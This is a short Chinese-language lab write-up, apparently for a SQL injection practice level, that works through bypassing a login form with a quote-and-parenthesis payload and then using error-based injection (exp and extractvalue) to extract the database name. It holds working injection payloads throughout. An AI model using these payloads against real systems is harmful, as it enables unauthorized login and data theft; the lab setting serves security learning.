知识点:
- 登录框处常见的语句(一般都是查询语句)
- where username=''
- where username=""
- where usernam=('')
- where username=("")
- 错误注入知识回顾
- 这里使用错误注入
通过admin admin登录发现没有任何回显信息;但是有成功登录的提示
通过bp抓包进行尝试绕过
尝试用单引号看看效果
构造payload:username=admin'
发现了报错信息;应该是一个where username=('输入内容')
好好好,这就好绕过了
构造payload:username=a')+or1=1#
欸,又报错了,发现了更多的信息;两个参数都是('输入内容');但是为啥会报错呢??
仔细一看发现or后面没加空格
重新构造payload:username=a')+or+1=1#
成功登录了;由于没有回显,这里不能用联合注入;
尝试进行错误注入
构造payload:username=a')+or+exp(710)#
成功打印了错误信息;说明这里是可以进行报错注入的
接下来利用报错注入获取数据库名
构造payload:username=a')+or+extractvalue(1,concat(0x7e,database(),0x7e))#
成功获取了数据库名;
到这里就结束了;报错注入获取表名和字段信息以及敏感内容信息在前几关就展示了;这里就不再进行演示了
10